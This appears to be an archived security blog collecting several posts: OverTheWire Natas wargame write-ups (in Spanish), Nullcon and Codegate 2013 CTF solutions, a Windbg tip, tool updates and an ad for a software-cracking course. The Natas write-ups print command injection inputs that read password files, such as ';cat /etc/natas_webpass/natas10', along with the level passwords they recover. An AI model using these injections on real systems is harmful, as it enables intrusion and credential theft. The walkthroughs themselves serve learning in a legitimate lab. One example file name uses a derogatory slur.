    if(encodeSecret($_POST['secret']) == $encodedSecret) {
    print "Access granted. The password for natas9 is <censored>";
    } else {
    print "Wrong secret";
    }
}
?>

<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

Este reto es muy similar al natas6 pero en este caso hay un paso extra antes de comparar el resultado que va en el request con el valor almacenado en la webapp. No se compara el valor directo sino que se aplica una transformación al valor almacenado en la variable "$encodedSecret" la cual es:

1. encodea el valor en base64
2. la pone en orden inverso
3. convierte el resultado de las dos operaciones anteriores en hex.

Por lo tanto, podemos aplicar las mismas operaciones en orden inverso para obtener le valor original:

1. Pasamos el valor a bin "3d3d516343746d4d6d6c315669563362" --> \x3d\x3d\x51\x63\x43\x74\x6d\x4d\x6d\x6c\x31\x56\x69\x56\x33\x62, lo cual se transforma en "==QcCtmMml1ViV3b" que es valor en base64 pero invertido.

2. Damos vuelta el valor: "b3ViV1lmMmtCcQ=="

3. Lo decodeamos usando base64 --> "b3ViV1lmMmtCcQ==".decode("base64") --> oubWYf2kBq

Al ingresar dicho valor en el form obtenemos el siguiente resultado:

Access granted. The password for natas9 is sQ6DKR8ICwqDMTd48lQlJfbF1q9B3edT

natas9

Al ingresar a este nivel, vemos un form que dice lo siguiente: "Find words containing:" y permite que ingresemos algo. Al mirar el source code de la página vemos lo siguiente:

 <html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas9</h1>
<div id="content">
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


Output:
<pre>
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    passthru("grep -i $key dictionary.txt");
}
?>
</pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
Vemos que toma el contenido del parámetro "needle" y se lo asigna a la variable "$key". Luego, comprueba que dicha variable no sea nula y en caso afirmativo ejecuta un passthru que según http://php.net/manual/es/function.passthru.php es parecida a exec(), es decir que podemos ejecutar un comando en el server.

En este caso, el comando ejecutado en el passthru es "grep -i $key dictionary.txt". Esto no está del todo bien puesto que está tomando el input directamente desde el form sin hacer ningún tipo de validación sobre el mismo con lo cual es vulnerable a commando injection. Por ejemplo, podriamos ejecutar un "ls -la", simplemente colocando ";ls -la" en el form (el ; es para cortar el comando en el passthru y poner nuestra sentencia a continuación). El resultado es el siguiente:

-rw-r----- 1 natas9 natas9 460878 Sep 18 14:05 dictionary.txt

Luego, probé de hacer cat y grep sobre el dictionary.txt para ver si lograba encontrar algo como "flag=" pero no tuve éxito. Entonces, en que file está el flag para el siguiente reto?. Recordé que en el natas7 el hint nos decia que el flag estaba en /etc/natas_webpass/natas8 entonces probé algo como: ";cat /etc/natas_webpass/natas10" y este fue el resultado:

s09byvi8880wqhbnonMFMW8byCojm8eA

African
Africans
Allah
Allah's
American
Americanism
Americanism's
Americanisms
[...]

natas10

Este reto es muy similar al anterior salvo que en este caso se filtran algunos caracteres:
 <html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas10</h1>
<div id="content">

For security reasons, we now filter on certain characters<br/><br/>
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


Output:
<pre>
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i $key dictionary.txt");
    }
}
?>
</pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

Vemos que se utiliza preg_match http://php.net/manual/es/function.preg-match.php para matchear ciertos caracteres del request con la siguiente expresión regular: "[;|&]". En caso de que encuentre alguno de esos caracteres en el parámetro "needle" nos dirá "Input contains an illegal character!". Por lo tanto, no podemos ejecutar un comando como lo hicimos en le reto anterior utilizando ";".

Luego de algunas pruebas no pude ejecutar algo como "cat /etc/natas_webpass/natas11". Busqué en Google si existía alguna manera de bypassear esta función pero no tuve éxito. Entonces pensé que tal vez se podría hacer algo solo con el grep. grep es un comando de bash para matchear cosas en uno o más files. La sintáxis es algo como "grep LO_QUE_QUIERO_MATCHEAR EL_FILE_DONDE_QUIERO_MATCHEAR". Por ejemplo, consideremos el archivo "telefonos_de_travestis.txt":
Telefonos de travas
--

cacho = 123456789
la giovanni = 98989898
zulma = 86868686

Ahora, quiero matchear el telefono de "cacho", entonces haría algo como: "grep "cacho" telefonos_de_travestis.txt" y el resultado sería el siguiente:
nriva@fastix:~/Desktop/wargames/natas$ grep "cacho" telefonos_de_travestis.txt
cacho = 123456789
En este caso, se utiliza el parámetro "i" para ignorar el case, es decir, es case insensitive.

Ahora, que pasa si en lugar de "cacho" queremos matchear todo el contenido del file?. En estos casos se suelen utilizar los wildcards.

Por ejemplo, podríamos ejecutar el siguiente comando: "ls -la | grep -i .txt" para matchear todos los archivos con .txt:

nriva@fastix:~/Desktop/wargames/natas$ ls -la | grep -i .txt
-rw-rw-r-- 1 nriva nriva 16261 Mar  1 22:10 natas_notas.txt
-rw-rw-r-- 1 nriva nriva 15263 Mar  1 22:03 natas_notas.txt~
-rw-rw-r-- 1 nriva nriva    82 Mar  1 22:08 telefonos_de_travestis.txt
Ahora, haciendo algunas pruebas, me encontré con que solo con el punto ".", el grep te matchea todo el contenido de un file, por ejemplo, ejecutando el siguiente comando "nriva@fastix:~/Desktop/wargames/natas$ grep -i . telefonos_de_travestis.txt" me arroja el siguiente resultado:
nriva@fastix:~/Desktop/wargames/natas$ grep -i . telefonos_de_travestis.txt
Telefonos de travas
--
cacho = 123456789
la giovanni = 98989898
zulma = 86868686
nriva@fastix:~/Desktop/wargames/natas$
Por lo tanto, podríamos probar de ejecutar algo como ". /etc/natas_webpass/natas11" y ver cual es el output:
/etc/natas_webpass/natas11:SUIRtXqbB3tWzTOgTAX2t8UfMbYKrgp6
dictionary.txt:African
dictionary.txt:Africans
dictionary.txt:Allah
dictionary.txt:Allah's
dictionary.txt:American
dictionary.txt:Americanism
dictionary.txt:Americanism's
dictionary.txt:Americanisms
[...]
Bingo!. Vemos que nos matchea todo el contenido de los files que hay en "etc/natas_webpass/natas11" además del dictionary.txt.

Este costo un poco más pero al final salió.

Hasta acá llegué por ahora, luego subiré mas write ups del resto de los niveles.

Hasta pronto.

domingo, 3 de marzo de 2013

Nullcon 2013 BattleUnderground - Reverse Engineering Question 2 Write up

In this level, we were provided with a file called sample2.exe. It is a PE32 packed with UPX.

I used FUU to unpack it but when I executed, the following error message appeared:

"Unable to open the script file."
 I loaded the unpacked file in Ollydbg and saw some string references about "AutoIt", so, I remembered an AutoIt crackme from 2005 I solved it. At that time, I used Aut2Exe v3 but it did not work this time. So, I searched for another AutoIt decompiler and found exe2aut that worked fine. 

I loaded the sample2.exe into exe2aut and this was the result:

$key = "ZjlmMGMyOTZmYzA5OTNlNDMwMDkwYjY5NWI2M2ZhYTQ="
MsgBox(64, "[MSG]", "Much simpler than that"
)
 The value in $key seems to be a base64 encoded string. Decoding that string gave us the flag:

>>> "ZjlmMGMyOTZmYzA5OTNlNDMwMDkwYjY5NWI2M2ZhYTQ=".decode("base64")
'f9f0c296fc0993e430090b695b63faa4'
 The flag was: f9f0c296fc0993e430090b695b63faa4

Nullcon 2013 BattleUnderground - Misc 1&2 Write up

Misc 1

The statement on this level was: "Who wrote the private key on whiteboard just by looking at the public certificate?"

A quick search in Google with the following keywords "whiteboard private key certificate" was all I needed to solve this level.

The first result https://plus.google.com/118187272963262049674/posts/TSDhe5CvaFe with the a comment from Radu Grigore gave me the answer:

"During his own Google interview, Jeff Dean was asked the implications if P=NP were true. He said, "P = 0 or N = 1." Then, before the interviewer had even finished laughing, Jeff examined Google’s public certificate and wrote the private key on the whiteboard."

The flag for this level was: "Jeff Dean".

Misc 2

In this level we were provided with an .img file: 8cb94a0d097f0fc0b34fe9729c6ce11c.img

First thing to do is to use binwalk to see what is inside:

ncr@poxyran:~/Desktop/nullcon$ binwalk 8cb94a0d097f0fc0b34fe9729c6ce11c.img

DECIMAL       HEX           DESCRIPTION
-------------------------------------------------------------------------------------------------------
223255        0x36817       LZMA compressed data, properties: 0x01, dictionary size: 33554432 bytes, uncompressed size: 16777216 bytes
224263        0x36C07       LZMA compressed data, properties: 0x01, dictionary size: 33554432 bytes, uncompressed size: 723517440 bytes
4195328       0x400400      gzip compressed data, from Unix, last modified: Mon Feb 18 03:23:14 2013
8388608       0x800000      Linux EXT filesystem, rev 1.0 ext3 filesystem data, UUID=e3362b15-1b48-47a3-80bb-134ffd3ffd3f


There is an EXT filesystem inside plus a gzip file and two LZMA compressed streams. Let's first extract the gzip using dd:

ncr@poxyran:~/Desktop/nullcon$ dd if=8cb94a0d097f0fc0b34fe9729c6ce11c.img of=elgzip.tar.gz skip=4195328 bs=1 count=4193280

Why I extracted the gzip file first? Well, that's because I first used the strings utility over the .img file and this is what I found:

ncr@poxyran:~/Desktop/nullcon$ strings 8cb94a0d097f0fc0b34fe9729c6ce11c.img | less

lost+found
lost+found
backup
Key.tar.gz
(END)
 

Inside the gzip file there was a file called Key.txt file. Extracting and opening the Key.txt gave us the flag:
  
c701c556565490732b28c009d1c6027b

Codegate 2013 - Misc 100 Write up

This weekend, two CTF competition were held: Codegate 2013 & Nullcon 2013 BattleUnderground. I was playing with my teammates Francisco and Archie.
 
This level was pretty easy, it was related to the movie "The Net" from 1995 with Sandra Bullock.

I just downloaded the subtitles of the movie and then I looked for words like "contraseña" (my subtitles were in Spanish), "login", etc; and this is what I found:

01:31:10,654 --> 01:31:13,121
<i>''Contraseña:/natoar23ae''</i>

The flag was: natoar23ae

sábado, 26 de enero de 2013

[TOOL] Update de DRx Calculator

Hola!,

esta entrada es para decirles que hay un update de DRx Calculator.

La versión 1.2 corrige un bug cuando se calculan algunos valores. Algunas de las constantes definidas estaban mal y gracias a Nox que reportó e hizo un fix el problema está arreglado.

Puede descargar la versión x86 y x64 desde la web del proyecto: http://code.google.com/p/drx-calculator/

Hasta pronto!.

domingo, 18 de noviembre de 2012

[TOOL] VSD v2.1 x86 update

Hola!,

esta entrada es solo para avisarles que hay una nueva versión de VSD x86 disponible en la web del proyecto, acá.

Algunas de las novedades son:

v2.1 x86 - 18/11/2012
--

- Added "Ignore unnamed objects" in the window handles.
- Added "Set Priority" feature in order to set the priority of a given process.
- Added "Suspend process" and "Resume process" features.
- Added "Suspend all threads before dumping". Using this option you can suspend the execution of a given process before to dump it.
- Added updatevsd.exe.
Cualquier comentario es bienvenido.

Saludos.

lunes, 5 de noviembre de 2012

[RETO] TRVCrackme v1.0

Hola!,

aquí les dejo un reto que envié a la lista de CracksLatinoS! hace ya unas semanas.

Es un crackme muy simple hecho en C para MIPS.

Los detalles están en el README.txt.

Anímense que es muy sencillo!.

Hasta pronto!.

Mas vale tarde que nunca ...

Hola!,

esta entrada debería de haberla hecho hace muuuuuucho tiempo pero entre una cosa y otra no encontraba el momento justo de sentarme a escribir estas líneas.

El 17 y 18 de Septiembre de este año 2012 estuve nuevamente, y como hace tres años ya, junto a Ricardo Narvaja y Ariel Coronel en una nueva edición del training "Defeating Software Protections" en la Ekoparty.

Tal y como vengo haciendo estos años, quería agradecer a los muchachos y muchachas (que este año no hubo) por haber asistido y habernos soportado todas esas horas!!!. A todos ellos, GRACIAS!.

Y como es costumbre también, aquí les dejo una postal:

Hasta pronto!.

miércoles, 12 de septiembre de 2012

[Tips&Tricks] Examinando la IAT con Windbg

Hola!,

el otro día un compañero de trabajo me preguntó si sabía como listar las funciones importadas por un programa utilizando Windbg. En ese momento no tenía idea de como hacerlo pero gracias a un par de búsquedas en google pude encontrar una solución aquí que paso a describirles:

1. Primero que nada, cargamos el ejecutable con el cual queremos trabajar en Windbg (CTRL+E).

2. Primero, utilizaremos el comando "!lmi". Este comando muestra información detallada acerca de un módulo. En nuestro caso, como parámetro, indicaremos el nombre de un ejecutable, en este caso notepad.exe, para obtener algo de información acerca del mismo:

0:001> !lmi notepad.exe
Loaded Module Info: [notepad.exe]
Module: notepad
Base Address: 01000000
Image Name: notepad.exe
Machine Type: 332 (I386)
Time Stamp: 48025287 Sun Apr 13 15:35:51 2008
Size: 14000
CheckSum: 18700
Characteristics: 10f
Debug Data Dirs: Type Size VA Pointer
CODEVIEW 24, 18f0, cf0 RSDS - GUID: {506F162C-C6A5-453B-8F9E-DB55AF72CD9B}
Age: 1, Pdb: notepad.pdb
Symbol Type: DEFERRED - No error - symbol load deferred
Load Report: no symbols loaded
De todos ellos, nos interesa "Base Address".

3. El comando "!dh" sirve para mostrar los headers de un módulo. Tiene algunos parámetros como "-a" para mostrar toda la información de los headers, "-s" para mostrar los sections headers y "-f" para mostrar solo file headers. En nuestro caso, lo que queremos obtener es el address y el size de la IT (ImportTable) listado en los DataDirectories, con lo cual, utilizaremos el parámetro "-f" ya que solo queremos los file headers.

La sintaxis es la siguiente: !dh -f address:

0:000> !dh -f 01000000

File Type: EXECUTABLE IMAGE
FILE HEADER VALUES
14C machine (i386)
3 number of sections
48025287 time date stamp Sun Apr 13 15:35:51 2008

0 file pointer to symbol table
0 number of symbols
E0 size of optional header
10F characteristics
Relocations stripped
Executable
Line numbers stripped
Symbols stripped
32 bit word machine

OPTIONAL HEADER VALUES
10B magic #
7.10 linker version
7800 size of code
A600 size of initialized data
0 size of uninitialized data
739D address of entry point
1000 base of code
----- new -----
01000000 image base
1000 section alignment
200 file alignment
2 subsystem (Windows GUI)
5.01 operating system version
5.01 image version
4.00 subsystem version
14000 size of image
400 size of headers
18700 checksum
00040000 size of stack reserve
00011000 size of stack commit
00100000 size of heap reserve
00001000 size of heap commit
8000 DLL characteristics
Terminal server aware
0 [ 0] address [size] of Export Directory
7604 [ C8] address [size] of Import Directory
B000 [ 8948] address [size] of Resource Directory
0 [ 0] address [size] of Exception Directory
0 [ 0] address [size] of Security Directory
0 [ 0] address [size] of Base Relocation Directory
1350 [ 1C] address [size] of Debug Directory
0 [ 0] address [size] of Description Directory
0 [ 0] address [size] of Special Directory
0 [ 0] address [size] of Thread Storage Directory
18A8 [ 40] address [size] of Load Configuration Directory
250 [ D0] address [size] of Bound Import Directory
1000 [ 348] address [size] of Import Address Table Directory
0 [ 0] address [size] of Delay Import Directory
0 [ 0] address [size] of COR20 Header Directory
0 [ 0] address [size] of Reserved Directory
Como podemos observar, el RVA donde comienza la IAT es 0x1000 y su tamaño es 0x348.

Estos datos los vamos a necesitar en el próximo paso.

4. Por último, vamos a utilizar el comando "dps". Este comando se utiliza para mostrar el contenido de la memoria de un proceso en un rango dado. La sintaxis es "dps [Options] range". En nuestro caso, sería algo así: "dps 01000000+1000 L348/4", donde:

- 01000000: ImageBase de nuestro programa.
- 1000: RVA del inicio de la IAT.
- 348: Size de la IAT.

Con la letra "L" le indicamos el tamaño del ranto que en este caso es el Size de la IAT dividido 4 porque cada entrada en la IAT ocupa 4 bytes (DWORD).

Este es el resultado:

0:001> dps 0x01000000+0x1000 L348/4
01001000 77dd6fef ADVAPI32!RegQueryValueExW
01001004 77dd6c17 ADVAPI32!RegCloseKey
01001008 77dfba25 ADVAPI32!RegCreateKeyW
0100100c 77dfbd05 ADVAPI32!IsTextUnicode
01001010 77dd7aab ADVAPI32!RegQueryValueExA
01001014 77dd7842 ADVAPI32!RegOpenKeyExA
01001018 77ddd757 ADVAPI32!RegSetValueExW
0100101c 00000000
01001020 773dd270 COMCTL32!CreateStatusWindowW
01001024 00000000
01001028 77f2dc19 GDI32!EndPage
0100102c 77f44a05 GDI32!AbortDoc
01001030 77f2dea9 GDI32!EndDoc
01001034 77f16e5f GDI32!DeleteDC
01001038 77f2f456 GDI32!StartPage
0100103c 77f17f9d GDI32!GetTextExtentPoint32W
01001040 77f1be28 GDI32!CreateDCW
[...]
Hay muchas más entradas pero solo coloque unas pocas.

Espero que les sea útil.

Hasta la próxima!.

viernes, 24 de agosto de 2012

Ekoparty Training: Defeating software protections

Hola!,

este post es para hacerles saber que este año 2012 estaremos nuevamente con Ricardo Narvaja, Ariel Coronel y quien escribe, dictando el training de "Defeating Software Protections" en la Ekoparty 2012.

Les dejo un poco de información al respecto:

CONTENIDO:
Cuando una empresa o un programador necesita distribuir su Software, Shareware, Trial o Demo, debe optar por algún mecanismo para proteger la propiedad intelectual de los ojos curiosos de los crackers.

Entonces...¿Qué mejor que un curso de cracking para estar al tanto de las técnicas mas utilizadas a la hora de romper protecciones de software? El conocimiento de las técnicas más comunes de que desprotegen el software, brinda la posibilidad de desarrollar nuevos mecanismos para protegerlo.

El training comenzará con una introducción de assembler(x86) y las herramientas generalmente empleadas, para luego continuar con la descripción del formato ejecutable utilizado en Windows. Se mostrarán diversas técnicas para obtener un serial en memoria, o métodos para patchear instrucciones que permiten desviar la ejecución del programa, con el fin de evitar que se ejecuten funciones no deseadas. La primera jornada finalizará con la creación de un patcher el cual facilita, por ejemplo, la distribución de los cambios hechos en un ejecutable. Durante el transcurso del segundo día se intensificará lo aprendido, aplicándolo a diferentes lenguajes de programación. Se expondrán las técnicas para atacar aplicaciones .NET y Java entre otros.

Se explicará el funcionamiento de las protecciones comerciales ( packers ) y las diferentes formas de atacarlas. También se demostrará como modificar los programas protegidos sin necesidad de desempacar los binarios ( inline patching ).

Los participantes aplicarán los conceptos aprendidos en la resolución de ejercicios creados especialmente para el Training versión EKOparty. Se entregará un manual que contiene más de 300 páginas ilustrativas + un CD con el contenido completo de todo el curso, incluyendo sus ejercicios, herramientas y la foto de Ricardo Narvaja.

Día 1:
* Conceptos básicos y herramientas
* PE structure
* String references
* Serial fishing
* API cracking
* Patchers
* Loaders

Día 2:
* .NET cracking
* Java Cracking
* Unpacking
* OEP finding
* Stolen bytes recovering
* IAT rebuilding
* Ollyscripting
* Inline patching
* Antidumping
* Antidebugging
Es un training de 2 días (16 hs), 17 y 18 de Septiembre, y tiene un costo de ARS $4.000 (IVA incluido).

Los esperamos!.

defeating software protections from ekoparty on Vimeo.